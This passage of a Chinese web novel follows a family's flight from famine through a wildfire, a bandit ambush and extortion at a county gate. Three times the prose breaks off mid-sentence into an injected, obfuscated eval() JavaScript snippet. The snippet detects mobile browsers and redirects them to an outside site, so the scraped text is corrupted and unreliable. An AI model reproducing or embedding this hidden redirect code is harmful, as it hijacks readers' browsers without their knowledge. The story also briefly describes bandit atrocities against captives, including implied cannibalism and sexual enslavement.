听说能进去,村民忙不迭地过去占位置。 宁爸拉着赵启跑到他一早看好的一个位置——靠近洞窟边上,前头有块凸起的地方挡着,别人不好靠近这个平地。 怎么看怎么合适。 让赵启站定,宁爸出去赶家里的骡车过来。 洞窟地面不太平稳,村里人拿着农具合力将地上凹凸的土块铲平,凹下去的地方用多出来的土填一填再踩实。 这样他们的车就能通过。 推独轮的先行,他们车轻,不会压坏刚修整好的地。 推架子车和牲畜拉车的走在最后,等他们走过,地上压出长长两条凹下去的坑。 这是车辙印。 没人管这些,他们听见前头人在大声赞着洞里面多凉快多凉快,迫不及待想进去试试。 车停稳后,赵宁宁下车感受了一下,这里虽然闷热,但没有外头那种晒得人要裂开的感觉。 连牲畜都有精神了几分。 坑底里乱糟糟的猪粪刚被清理出去,里正不让牲畜放在最里头,不然洞窟里净是臭味。 宁爸只能把他心爱的骡子和马拴在洞窟口。 这里虽然是洞口,洞窟里面的小凉风嗖嗖刮着,倒也比外头凉快。 安抚好牲畜,又给它们喂半桶水,宁爸这才回到自家马车旁边。 有凸起的石头挡着,车门又朝内,赵宁宁钻到空间里把冰块都掏出来摆在车厢里。 他们家的车厢温度顿时下降起码五度。 赵宁宁从空间出来感受一下,还有一些热,但比起在外头,车厢里的温度顶多只有三十多度。 这个温度是这些天里最舒服的温度了。宁妈倚靠在小桌板边上,紧紧挨着冰盆打扇子。 外头还在闹哄哄地抢地盘。 村民们各自找好落脚的地方,安定下来之后,里正宣布:分猪肉! 今日参与抓野猪的汉子家多分四斤,其余村里人平分! 七头野猪呢!一家怎么也能分到七八斤肉!平日里过年都舍不得割这么多肉,今天可算是有口福了! 年纪小的孩子,好几天都没吃上什么像样东西了,窝在大人怀里听说有肉吃,干巴的嘴里不断冒出口水。 还有的听说有肉吃,直接闹着要吃肉的。 里正让各户出一人出来领肉! 宁爸一点都不嫌累,车厢安顿好之后他便去看人杀猪去了,还抓着赵启陪他一起去,说是培养父子感情。 在这里又没什么娱乐方式,宁妈就随他俩去了。 前头,在坑底的时候野猪就被扎得没气儿了,血也放得差不多。 村里一个帮人杀过猪的汉子站在临时搭建出来的案板上,一群人把猪抬上去,他用一把刚刚才磨过的菜刀,慢慢划开猪肚子,一堆大肠小肠连着内脏一起哗啦掉下来。 联想到凌晨时候看到的那些不人头落地,肠子流一地的场景,有几个汉子脸色一青,躲在后面干呕去了。 剩下的几人,脸上热切也少了几分。 宁爸:呵呵,好天真的村里人,这猪肉他们估计有一段时间没胃口。 看杀猪的汉子少了,打起来时在后头运石头,没看见前面惨状的人凑过来,热热闹闹地围观。 七只野猪分解完,里正按户数和人数来分,野猪不是很肥,一人差不多能分得一斤,宁爸和赵启参与抓野猪,里正给他各自俩多分了四斤,一下子变成了十六斤! 野猪肉柴,赵宁宁家不太好这一口。空间里的猪牛羊鸡鸭鱼都来不及吃呢! 怎么着赵宁宁家都吃不完,宁爸用绳子串了四斤,让赵宁宁和赵启拿去给周家。 赵宁宁:又来了又来了! 赵启:我就是这样越跑越快的! 两个孩子没办法,接下重任,把肉拿去给何氏。 何氏正捧着两斤肉发愁怎么吃,煮了吃有点奢侈,做成肉干又不太够。 赵宁宁和赵启往自家这里扔了四斤肉就跑,何氏无奈收下。 这下,做肉干倒是够了。 等做好肉干,再找机会给他们送一点。何氏这样想着,切出一小块准备待会煮个肉汤,剩下全处理好,切成一条一条腌一下,好烤成肉干。 趁着在洞窟里能休息,家家户户都做起了“杀猪饭”。 能光明正大吃肉,宁妈自是不会放过,趁这会各家都飘着肉香,她把宁爸之前在家做的红烧肉给拿出来,又拿出来平日里不怎么敢吃的,味道稍大的辣子鸡、年糕烧排骨、土豆炖鸡。 光吃肉不行,宁妈又拿出一盆凉拌菜。 最后一人配一块饼子,一人一碗酸辣汤汤,开吃! 外头飘着的肉味再香,也没有车厢里的菜香。 吃完之后,宁妈从空间捧出西瓜,一人再来上一块,简直美得不行。 赵宁宁从空间拿冰过的凉白开出来,几人喝下,又用水擦擦身上的尘土和汗水,这才舒服地躺在车里。 冰块缓缓散发着凉意,不知不觉,宁妈和宁爸就睡着了。 洞窟里平稳地过了两天。 因着有肉吃,天气热容易放坏,各家各户都忙着吃肉和把肉做成肉干。 受伤的村民经过村里赤脚大夫的包扎,安然渡过最危险的前两天。 洞窟比外头凉快,他们的伤口愈合得很好。 只是唯一让大家伙发愁的事是,那处水源好像真的断了。 这两天里正安排人去轮班守着,那泉眼丝毫冒水的意思都没有。 里正想,再等两天,村里人休息得差不多,水还剩一些,他们继续赶路。 早日赶到黄石县,也好早日找个落脚地……只是天上都有九个太阳了,这天下,焉能有落足之地? 要是泉眼不断水,在这里能多休憩一段时日该多好? 里正心念百转。 第三天,水源处依旧没有水。 外面汉子抱怨不停,呆过洞窟之后,谁还想在外头干熬?! 里正缩减值守的时间,让他们太阳出来之后的一个时辰,和太阳即将下山的一个时辰分别去查看一下。 泉眼上面放着一片干枯的树叶,又用桶盖盖着防风。 要是有水,树叶肯定会被顶起来移位。 只可惜,泉眼上的树叶丝毫没有移位的迹象。 里正准备,第四天下午跟村里人说他们要动身前往黄石县的事。 不等他通知,第三日下午申时,天正热着,村里人缩在洞窟里拿扇子打风。 坐在洞窟出口的老头子,扇着扇着,手边忽然飘来了一丝黑絮絮。 落在他胳膊上。 老头抬起手捻捻,黑色絮絮跟家里头烧稻草杆的飞灰差不多,应该是谁家烧火飘过来的。 这几日村里人都想法子弄肉干呢,有烧火烤的有拿出去晒的。 老头不甚在意,继续给自己打扇。 外头突然飘来的黑色絮絮越来越多。 终于,老头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229777|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住起来。 “老大,你看外头,是不是这些黑东西都是从外头飘来的?” 被喊起来的人迷迷糊糊往天上看,道一声遭了。 他忙不迭起来,往洞窟里跑。 听说外头漫天飘着东西,王修奉不用他爹说,立马牵着马匹出去查看。 洞窟地势稍低,他牵着马出去往山上去,这一看,给他吓了一大跳。 旁边的山着火了! 远远看去,对面的山通红一片,熊熊燃烧的红光不断吞噬者干枯的植物……天上飘来的黑色絮絮,是地上的枯草被烧焦后的灰! 眨眼之间,那火光不断蔓延,眼看就要连上这边的山。 王修奉马不停蹄地回去将这个噩耗通知给村里人。 “跑!快跑!”里正拍腿,“山火蔓延的速度很快!” 听到外头山上着火的消息,村里人俱是一慌。 各家把东西囫囵着往车上一放,拉车的拉车,牵牲畜的牵牲畜。 小孩不明所以,看到大人慌乱着,坐在地上哇哇大哭。 赵宁宁家。 宁爸听到消息反应极快,立马跑着去拉自家牲畜,路上看到周剑,一把薅起他一起过去。 等两人把自家牲畜牵到车旁边,队伍里乱糟糟一片,往哪跑的都有,就差打起来了。 里正站在洞口指挥,这才慢慢将队伍理顺,要出去的靠边上,没收拾好的在原地收拾。 看到边上能走动起来,宁爸当机立断,拉着骡子往左边走。 艰难挤过人群,贴着左边顺着人流往前走。 马有些受惊,不安地在原地喷着气不肯往前走。 宁爸把骡子的缰绳塞到宁妈手里,跳下车,翻身上马,牢牢拽住缰绳。 躁动的马被人勒着,痛得它扭动几下脖子,发现更痛之后,才渐渐老实下来。 宁爸骑马跟上自家马车。 慌慌张张出了洞窟,前面的人忙不迭地往外跑,连个方向都不看,急得里正直喊: “往北跑!下了山记得往北跑!” “跑散的话,咱们在黄石县碰面!” 不知道跑出去的村民有没有听到,但里正能做的都做了,剩下的便听天由命吧! 宁妈驾车,出洞窟之后简单分辨了一下风向,顺着下风向先跑着,等出了这座山,再往火烧不到的地方跑。 车厢内,赵宁宁把能收起来的东西全塞到空间电梯厅里了,只剩被子在身下垫着。 这会逃命,车轮子都要跑飞起来了,赵启被左右上下颠得脸色一阵白一阵青。 赵宁宁看见,抽空回去拿了一个垃圾袋出来塞他手里。 赵启:…… ——妹妹好贴心! 下一秒,垃圾袋就派上了用场。 赵宁宁看不得这些,赶紧爬出去跟宁妈一起坐在车头。 “你怎么出来了?这里危险,你回家去。” 宁妈拉着宁宁手腕不敢撒手,小孩体重轻,她怕一撒手赵宁宁直接被架子车颠出去。 “哥哥不太好,他在吐。”赵宁宁无奈。 “你回去让他到车头来,他现在这个情况,分分心就好了。” 赵宁宁听话回车厢去,把吐过一场的哥哥给喊出去。 坐在车头,赵启手里多了一条缰绳。 宁妈就走在一边,“都说晕车的人开车就不晕了,你试试。” 赵启睁大眼,紧张地看着前面的“路”。 一会要从两个极窄的树中间穿过,一会要从一个树根上越过。 一会土坡一会土窑,吓得赵启连晕车都忘记晕了,大脑高速运转着,生怕自己驾不好骡车,把家里人带进沟里。 前头有人在跑,赵启无脑跟着便好,宁妈一边分心看着路和儿子,一边往车后看去。 宁爸骑着马紧紧缀在后面。 他后面,跟着一长串王李村发村民。 大家本是无头苍蝇般地跑,下意识便会跟着前头的人,宁妈不知道最前头领路的是谁,只看着风向和路还行,就让赵启跟着。 一口气跑到山下还不够,队伍一直顺着前两天进山的路跑到了官道上,前面的马车逐渐放缓步调,赵宁宁家的骡车也渐渐停下来。 再回头,身后是看不见天色的灰尘。 第53章 买水 赵宁宁发现她家里人脸上都扒着一层烟灰,想到刷视频看到的救火科普,赵宁宁回去,拿口罩出来,把宁妈返回车厢给她和赵启一人一个口罩。 赵宁宁:“把这个带上,然后再用湿布巾把脸围住。” 宁妈也想到了,着火的时候还要注意烟尘和毒气,口罩防毒气防不了多少,只能防一下细密的烟尘。 但聊胜于无。 把口罩戴好,打湿的布巾围在脸上遮挡住口罩,宁妈出去喊宁爸回来。 一家人都戴好之后,宁爸骑着马前后左右都喊喊,让大家伙把口鼻都围上。 村民们一开始有些莫名其妙,但看到赵老二脸上一层灰之后,那村民立刻醒悟过来——鼻子会吸到天上飘来的黑灰。 道谢之后,村民们纷纷找东西把口鼻捂住。 后头的队伍渐渐跟上来,最后,里正乘着家里另一辆马车下来。 走在最前头的王修奉折返回来,双眼打量一番,见自家亲爹没事,这才放心问道:“都出来了吗?” 里正叹了口气,道:“差不多。” 之所以说差不多,是因为他出来之前还有三四家,因为舍不得没晒好的肉干,在洞窟外抢收着肉干。 还有人趁乱,去拿别人来不及收走的肉干。 里正喊也喊了,劝也劝了,这些人依旧我行我素,眼看山火就要蔓延到这边,没办法,他只能先坐着马车下来。 前头跑得快的,有几家走散的。 剩下基本都跟了上来王修峰数了数,原先三十九,现在只剩二十四户。 加上尚家,也才二十五户。 也不知道他们跑的时候,有没有听见走散去黄石县会合? 好在村里人都知道下一个要去的城镇是黄石县,里正只能祈祷他们能顺利抵达。 带着这三十二户村民,王李村队伍继续前行。 后头有山火追着,他们一直跑到天色黑透,才停下脚步。 一停下,所有人都觉得喉咙里干得要裂开,扒开脸上的布,布上面满是黑色到烟灰,就连鼻翼边上都是灰。 众人庆幸,还好自己跟风弄了布遮住了口鼻。 停下之后众人回头看,远处的山火还在烧着,现在按理说已经是黑天,但天空红彤彤一片,弥漫着黑色的烟云。 接近肉眼看不到的地线,那里红得发黄,那边还在烧着大火! 里正脸色凝重,照这种程度烧下去,他们一夜都不能停下休息,得一直往前走…… 除非能找到一个避火的地方,可整个岭北府城到处都是山脉,还都是经过连年的干旱、最近被九个太阳烘烤的易燃的干巴巴的山! 叹了口气,里正去找村长商量接下来的路。 赵宁宁和赵启也在商量。 他俩读书多,宁妈宁爸生活经验丰富,赵宁宁想到,之前看新闻,山城的山突然着火,是调用了很多挖掘机造了一个“隔火带”,边上又有人盯着火不在蔓延,这才止住山火。 即使这样,也废了数日和无数的人力财力才止住山火。更不用说这之中要废多少水,赵宁宁空间里细细的水就算二十四小时开着也不够扑灭隔火带用。 …… 商量路线的时候,尚家的少爷和刘大成一起跟着商量,他们在府城附近住,对府城附近更了解。 “往黄石县走。”刘大力建议:“黄石县附近的山都是石头山,就算是烧也没有这边山能烧。” “等咱们过去,那边肯定能未雨绸缪好,县城附近也没什么树,起码烧不到县城。” 刘大成的建议很是中肯。 里正看看后面的火,让大家伙休息半个时辰,接着继续赶路。 刚经历过一场要命的奔跑,现在才休息半个时辰就要说上路,许多人都怨声载道的。 抱怨归抱怨,没一个人想继续停在这里休息。 天光并着火光,映得官道上的路昏暗中带着亮堂。 赵宁宁要自己赶车,让爸妈和哥哥去休息,宁爸吓一跳。 最后宁妈陪着宁宁一起盯着骡子和马,宁爸和赵启先去休息。 毕竟白天还要赶路,宁爸自认白天赶路更热更苦一些。 他可以晒黑可以吃苦,宁妈自然也可以,但他们都想让自己家里人少晒一些。 拗不过宁妈,最后宁爸搂着儿子先去车厢睡觉。 赵宁宁钻进去,给他俩换上两盆冰。 后面山火灼热的气流不断推赶,所有人都不敢停下来,哪怕是走到头昏,走到脚上磨破的泡开始流血,走到嘴唇干到裂开。 也没有人敢停下来。 往前走的时候,官道上偶尔会有赶马车的队伍越过他们的队伍,遇到陌生队伍,王李村都警惕无比。 遇见好几次偷抢的队伍,他们如今看到陌生人心里先想到的是警惕。 好在大家伙都忙着逃生,就算有眼馋他们队伍看上去鼓鼓囊囊的包裹,也没空停下来**。 又走两个多时辰,天渐渐凉了。 但这种亮只是感觉上的亮,抬头看天,天上浮着一层又近又远的灰。 空气中也弥漫漂浮着灰烬。 宁爸把自己嘴上的布巾系紧一点,看了看儿子的脑袋,后面系的结有些松动,他伸手给孩子系紧。 两父子对视一眼,没有说话。 车厢里,赶了一夜车的宁妈疲惫地睡着。 赵宁宁在空间里翻来覆去,一想到外面还在着火就睡不着,但想到火势还在后面,暂时追不上来。 加之赶路的疲惫,她慢慢陷入昏睡之中。 走四个时辰停一个时辰,连做饭的时间都要紧着来,前两天晒了肉干的人家干脆就不做饭,吃一条肉干,就着水囊喝一口水,一抹嘴去睡觉。 或是走在路上就把东西吃了,这样一停下来一有空就去休息。 这样紧赶慢赶,跑了三天,后面火势依旧穷追着这群逃荒的人。 刘大成算着距离,按照现在赶路的速度看,差不多第四天能赶到。 听到再走一天就能有希望停下来好好歇一歇,大家伙咬着牙,强撑着继续往前走。 赵慧兰扶着车栏,走一步喘三口气,她真的很想哀求一下爷奶,让她也坐马车上。 第一天她求了,爷奶说她是大丫头,不该这么懒。 第二天她装作脚崴了,她娘骂她躲懒,硬是让她瘸着脚跟车走。 昨天,她晕倒了一次,没法子,她爷奶才让她坐了一小会车。 她一醒,爷奶立马把她赶下车了! 车上只坐着怀着孩子的曹柔安,还有爷奶。 赵慧兰看着曹柔安,眼中神色晦暗莫名。 这个嫂子嫁进来之前,赵家最受宠的女儿是自己,有什么好的,哥哥和爹娘都是先紧着她来。 但现在,全家都紧着这个怀着孩子的“金疙瘩”,钱婆子还扬言说:等大孙媳妇生了曾孙,他们老赵家也算四世同堂的大户了。 所以即便是不怎么看得上这个花了二十两聘礼聘回来的大孙媳妇,钱婆子还是让她在逃荒路上一路坐着马车。 走路走得快要晕过去的时候,赵慧兰想:要是我也结婚,我也怀孕,是不是家里人就会让我坐马车了? 视线昏花时,她瞟见前头马车上坐着的五丫。 二婶子在赶马车,五丫帮忙顾着一边的骡子。 ——是了,就算不怀孕也能坐马车的……五丫头命真好,凭什么她能坐马车?要是这辆车在老赵家,坐车的肯定是我! 心底突然迸发出一股气,赵慧兰反而视野清明了一些。 她又看见,五丫家前头,一辆双马在拉的车,车头上坐着一个驾车的大叔。 除了这人,还有一个少年坐在那上面。 那白皙不见日光的皮肤,和用上好蜀锦做成的长袍,那身姿气度…… 赵慧兰呼吸一窒。 五丫算什么!她还要自己赶车! 人家尚家少爷连车都不用自己赶! 要是能嫁过去……岂不是自己不但可以坐车,还可以连车都不用赶? 赵慧兰盯着前头的马车浮想联翩起来,一不留神,她磕在自家马车上,跟在她后头的孙氏被她一绊,差点钻进车轮子下头。 “好好看路!”孙氏暴躁地说。 赵慧兰低下头,认真扶着车栏,借着自家架子车的力拖着自己往前走。 ——真是个好计划。 赵慧兰慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229778|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给自己谋划着。 车队前行,刘大成跟里正说,再走半晌差不多就能到黄石县附近了。 里正十分高兴,队伍里前几日积攒的水差不多喝了一半,粮食更是早就吃了个七七八八,要是能碰见黄石县有粮铺在出售粮食,他们可得多买点。 这次有钱! 过了晌午,官道周边漫天遍野的枯树林渐渐稀疏起来,取而代之的是一块一块的农田。 只可惜,农田里要么干秃秃,要么是一些晒干的作物,要么是枯黄的草。 放眼望去,没有一块是绿色,黄绿色都没有。 真是干旱的彻底。 走着走着,王李村的人走到一处岔路口。 顺着官道再往前便是黄石县,走到这里刚好到了休息的点,里正干脆让儿子下官道去看看附近有没有落脚的地方。 王修奉骑马顺着岔路下去,片刻,他驱马归来。 “爹,下面是一个村子,村里还有人!”王修奉激动地说。 “有人?”里正抻脖子往下看,岔路口果真有几个攒动的人头。 “但是他们不让下去休息。”王修奉摇头说:“他们说这个村子靠大路,老有人想要进村抢他们的水井,所以堵着路不让下去。” “不让下就不下呗……什么?水井?难不成他们现在还有水?”里正话锋一转,亲自扶着车头下车,走到路边看。 拐弯下去的小路上,站了两排拿着农具和柴刀的百姓。 各个都是青壮的汉子,各个都膘肥体壮,嘴唇虽有些干,却没有像他们王李村那样干裂得不像样。 ——看来他们村子里真的有水! 里正掸掸身上的灰,到近前抱拳道:“各位小兄弟,我是这个队伍的里正,我们只是路过,想问问你们是否方便卖我们一些水?” 里正把礼节做到尽善尽美。 这年头,想像以前路过别人村子白喝一碗水是不可能的事,能拿钱买已是里正最好的打算。 最坏的打算是他们不卖,看看能不能利诱一下,不能利诱他们也只能干瞪眼。 又不能直接去抢、 正忐忑着,里正听到对面的答话: “你们想拿多少银子换?!” 想想之前在府城打听到的价格,里正又往上加了一些,试探着答道:“一桶水我们可以给到五百文。” “切!”对面的人嗤笑,“五百文?这点铜板糊弄谁呢!” “你!”王修奉气急,“我们问价,你们又不说,我们说了你们又嫌低!” “怎么?你想打架?”对面走出来一人,抖抖身上的腱子肉,“我们大东村可不怕!!” 他旁边的领头汉子伸出一只手拦住这个满身肌肉的汉子,好脾气道:“你们给的太低了!” 里正问:“不知大东村出价?” “一两银子一桶水!”他们从路边用耙子勾上来一个水桶。 那水桶看上去只有两尺不到,跟小孩胳膊差不多长,不是平日里打水用的那种三尺高的水桶。 不仅贵,桶还小! 里正神色犹豫,对面看出来,翻了个白眼,说:“爱要不要,想要我们还不想卖给你们呢!水越打越低……” 里正忙截住他的话头,说:“我得回去通知通知村里人,要是有想要的,我带他们过来!” “那你们可得快点!黄石县的水都涨到一两半银子一桶了!” 作揖告别之后,里正急匆匆带着大儿子回队伍。 把大东村开的价给村里人说之后,村里**部分都不准备掏钱买水。 但一听到黄石县的水可能要一两半银子一桶,有一部分人摇摆不定。 几家全家上阵打贼人分得银子多的,想了想还是拿出二两银子出来,准备买两桶。 也只有两桶,他们家人口多,剩下的钱还要留着去黄石县买粮食。 赵宁宁一家不缺水,也不准备花这个冤枉钱,等到了黄石县,他们出去晃一圈把空间里的水倒腾出来,对外说买到水,别人也不清楚他们在哪买了多少水。 坐在马车上,村里人等其他人买水归来。 正等着,赵宁宁看见村长嗖地一下骑马窜出去。 第54章 无恶不作 宁爸压住自己的好奇心,不一会,他看见村长领着村民安然无恙地回来。 “怎么了这是?”宁爸和宁妈小声bb。 “估计是村长发现不对劲。”宁妈回。 他们村子,里正能管好村里人,最服众,村长最有智慧,但村长嘴有毒,爱骂人,村里人好多看他不顺眼的。 村长把人领回来之后,有两家还在遗憾不能买到便宜水,没想到歇息都不让歇息,村长直接催着人快走。 “这是怎么回事?”赵宁宁问。 “别问。”宁爸嘘了一声,双手拉着缰绳调转马头,“问就是赶紧跑。” 说完话,宁爸一甩鞭子,马拉着车四只蹄子哒哒哒哒跑起来。 他们刚跑,官道下,突然冲上来一群人,各个手里都拿着武器,可不是刚才那种农具柴刀,全是实打实的大**! 收拾得慢的村民看见,眼球都快从眼眶里掉出来,东西也来不及收,手里的物件往车上随手一放,拉着车不管不顾地往前跑。 王修奉拿起大刀,带着自家两个兄弟骑马走到最后面,和村长家的两个儿子一起,守着队伍最后头。 和那群人交了两手,王修奉心中一紧,这群人招招式式都是练家子,他们不是普通村民! 他们应该是沿路**的,劫到大东村落脚,在这里假装成原住民,拦路**。 跟王修奉猜想的差不多,这群人正是沿路**的,他们本想看看哪个队伍能出得起一两银子的买水钱,就把他们队伍吃下。 往日里遇到的都是不要钱要命的肥羊,他们看见银子之后统统拿下,不仅要银子、要粮食要水、要马匹车辆,还要人命! 壮劳力全杀了,老人挑听话的留着干活,小孩暂且养着,馋肉了直接拉出来一个,听话的妇人留着供人享乐,不听话的打一顿关起来,等关得没有心气之后,再拖出来**掉。 无恶不作都不足以形容他们。 没想到今天遇到的队伍看上去挺大,实则抠搜无比,只有几家有银子,他们本想挟持着这几个来买水的去问那些人家里要钱要粮食,否则就撕票。 没曾想,这个村子的人警惕性还挺高,不等靠近交易就有人追上来拦住。 见计划失败,他们不甘心就这样放弃,喊人直接追上来,想着追杀几个也不错。 交手之后,王修奉吩咐下去,让一个汉子去前头通知人准备棉花火球,剩下的继续抵抗着偶尔追上来的人, 被追着跑了一刻钟,棉花火球已准备好,王修奉几个准头好的直接照着人砸,那群贼人没想到还有这一招,一时不查被火球砸中整个人顿时烧起来。 火球阻挡了他们的攻势。 王李村的人一口气跑了二十里地,见后头迟迟没有人追上来,这才放缓脚步。 不敢停,怕再被追上。 王修奉让弟弟看着点后头,自己骑马到前面把自己刚才的猜想和爹说了说。 村长也在一边,听完王修奉的话他不住点头,“我也是这样想的。” 一般百姓就算是身上有肌肉,也没有这么均匀,尤其现在还是灾荒年,更不可能在这种情况下纯靠吃粮食喝水就养得这么好。 村长前后一联系,就猜到不对劲,这才赶紧去拦里正他们,好在拦住了。 不然他们队伍损失的可就不只是一两银子的打水费。 劫后余生后,王李村的人小心脏吓得扑通扑通跳。 前有山火,后有人祸。 到哪里才是个头? 所有人心里都不是滋味的紧。 慢慢走了一个多时辰,从各个支路官道上汇进来的队伍越来越多。 王李村的队伍小心地挨在一起,溜边慢慢走。 人越多,说明离黄石县越近。 离黄石县越近,路两旁的植被就越少,露出来的大部分都是黄色或是赤红色的大块石头。 山渐渐变得陡峭,远远看去,山头是光秃秃的大石头,植被只在各个石头的夹缝中生长出来。 甚至有的山是一大块一大块的石头。 拐过一道弯,怪石嶙峋的山退去,一小块光秃秃的平原出现在眼前。 那是黄石县! 众人狠狠松了口气,心中又燃起生的希望。 走到黄石县下方,看到城门还开着,王李村的人更是欢欣鼓舞起来,都觉得算是“熬出了头”。 王李村的队伍排在最后头,前面是数不尽的人,虽然缓慢,但黄石县一直在往里头放人。 只要队伍在挪动,总能轮到的! 安顿好队伍之后,里正带着村长一起到前头打探消息。 打探完,两人一脸菜色回来。 无他,黄石县只允许进,不允许出。 且进去就要掏银子,和合庆县一样,一个人一两银子,好在这里的牲畜马车不用另算。 有合庆县狮子大开口在前,又有岭北府堵着大门不让进,黄石县这样只要一两银子就让人进的要求,王李村的人接受良好。 还有一个原因,他们前几天刚好“赚”了一笔银子,能支应得起这个花销。 老赵家。 钱婆子死守着自家的钱袋子。 他们家的银子可不是这样霍霍的。 钱婆子左看右看,想了个法子—— 让赵思夏和赵谦躲在架子车上的箱子里。 这样起码能省下二两银子呢! ——哎呦,上次怎么没想到,上次想到的话,那二两银子不就能省下来了吗?! 钱婆子后悔的心痛。 趁队伍在后头谁也注意不到这里,钱婆子支使着两个儿媳把箱子里的东西往外掏。 一边盯着她们干活,钱婆子一边可惜赵慧兰,“要是你岁数小点,能钻进箱子里多好,又省下一两!” 赵慧兰面无表情,她可不想窝在闷不透气的箱子里! 还好她年纪大,个头大塞不下。 等箱子腾出来,钱婆子趁夜让四小子和六丫分别钻进两个箱子。 你别说,他俩一个十岁一个六岁,钻进去刚刚好! 甚至头上还能放几件衣裳挡一下。 这样敲定,钱婆子等到排队排到他们之前,趁人不注意把两个孩子塞进箱子里,然后带着一架子车无处安放的破烂进城。 走到城门里,拉着车穿过一条长长的栅栏围起来的路。 路的尽头有衙役把守着,见有人过来,分别把一户一户的人带到一个大帐篷里头去。 老赵家的人不明所以,跟着衙役说的做,刚走到帐篷里,有个官兵按人数收了银子。 车上连翻都不翻,直到走过去了,衙役都没管。 钱婆子窃喜,他们这下立省了二两银子!那可是二两银子! 刚高兴没多久,走出帐篷,老赵家的马车连马带车一起,直接被衙役拉走。 眼看着马车要被拉到看不见的地方,钱婆子急了,问守在门口的官兵:“这是要做啥?检查马车吗?” 检查马车哪有躲着主人家检查的?想从车上摸东西也不是这样的! 那衙役对钱婆子的反应见怪不怪,从刀鞘里拔出刀,威胁道:“走走走!还想要马车?!让你们进城就不错了!” “不是,我们家马车呢?!”赵老大大叫一声:“没马车,我们接下来咋走路!” 都不说那车了,那匹瘦马可是走到半路花了大银子买回来的! “滚!” 衙役把刀**对着几人,他拔出刀之后,守在旁边的一圈衙役纷纷拔刀出来。 好十几把大刀对着自己,钱婆子双腿不听使唤地开始打战。 想到一辆车连着马都被这群强盗一样的衙役给拉走,她咬着打战的牙说:“把马车和银子还给我们,我们不进城了!” “这可由不得你。”衙役把刀往前一送,钱婆子脖子上顿时出现一条血痕。 脖子一痛,钱婆子以为自己头要掉下来了,她直接吓破了胆,扑通一下坐在地上。 “滚!” 衙役用刀尖指着地上的人。 这次老赵家一行人听话得很,赵老头小心从一边伸出手拉着吓得没魂儿的钱婆子往出口跑。 直到跑远,赵老头才想起来,他们家马车上,四小子和六丫还在箱子里! 这可怎么办?! 眼看老婆子被吓破了胆,赵老头只能斗起胆子,到出口区问衙役。 “小兄弟……我家刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229779|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被拉走的马车上有两个重要的东西,不值钱,但重要,你看能不能行个方便……” 想行方便一点好处都不给?守门的衙役不耐烦地摆手:“滚滚滚!” 赵老头讪讪:“官爷,劳烦你去问下,那辆车上……” 衙役打断他的话,没好气地说:“一辆车五十两银子!要么掏钱,要么滚!” ——五十两!把他们全家买了也凑不了这么多银子! 赵老头犹豫,要不要把车上有两个小孩的事说出来,不曾想,里头的衙役看到他们还堵在这里,直接拿着大刀出来。 赵老头忙拉着一家子往城里跑。 另一边。 赵宁宁家这次排在了后头,车厢外的东西基本不用动,车厢里要“伪装”一下。 有之前合庆县的进城经验,宁妈依旧只在车厢里放了点吃剩的粮食,桶里只放了一个桶底的水。 又把拉拉杂杂逃荒路上会用得到的碗筷炉子挑拣着放出来一些,让车厢里看上去有“生活”气息。 摆弄的差不多,也差不多排到他们家的马车,宁宁一家开始进城。 一进去,穿过走廊,被引到帐篷里,宁爸从怀里摸出四两银子,一家人规规矩矩交上。 出了帐篷,宁爸直接坐在车头上准备赶马,旁边的衙役直接伸手把他往一边拉。 好歹也是经过宁妈特训又逃荒的人,宁爸第一时间没被拉下车。 “怎么了怎么了?”宁爸左右看看,脸上挂上笑,“这里不准驾车是吧?周氏,你过来牵着。” 他说完,对着衙役笑笑,“差爷,我不驾车,让我家婆娘拉着走。” 宁爸这话一出,赵宁宁家里几个人都打起十二分精神来。 ——不对劲!很不对劲! 宁妈顺着他的话,朝衙役笑笑,“好嘞!” 说着,她伸手从宁爸手里接过缰绳。 “哎!”衙役用刀鞘拦住他俩的动作,不悦道:“谁让你们自己牵马车了!” 宁爸憨笑道:“那也不能劳烦官差大人牵马不是?就这几步路,让小民的婆娘牵着走便是。” “谁说让你们自己牵着!”衙役恶狠狠把缰绳从宁爸和宁妈手里抢过去,驱赶道:“下车!” “这?这是?”宁爸惊疑不定,双手无措地举在半空。 “非让爷把话说这么明白吗?”他扬扬头,身边职位比他还要低的小衙役纷纷上前来堵住马车的去路。 宁爸心里无奈,只能下车,拉着衙役的袖子求情:“大人,这马车是我家代代传下来的,又陪着我们一家子逃荒这么远……” “大人,能问问怎么样才能留下来这辆马车吗?要是能留下这辆车,把……” 宁爸环顾了一眼身后的俩孩子,扯着赵启过来,“把我们家儿子给您都成!” 在古代,男娃可比女娃值钱多了! 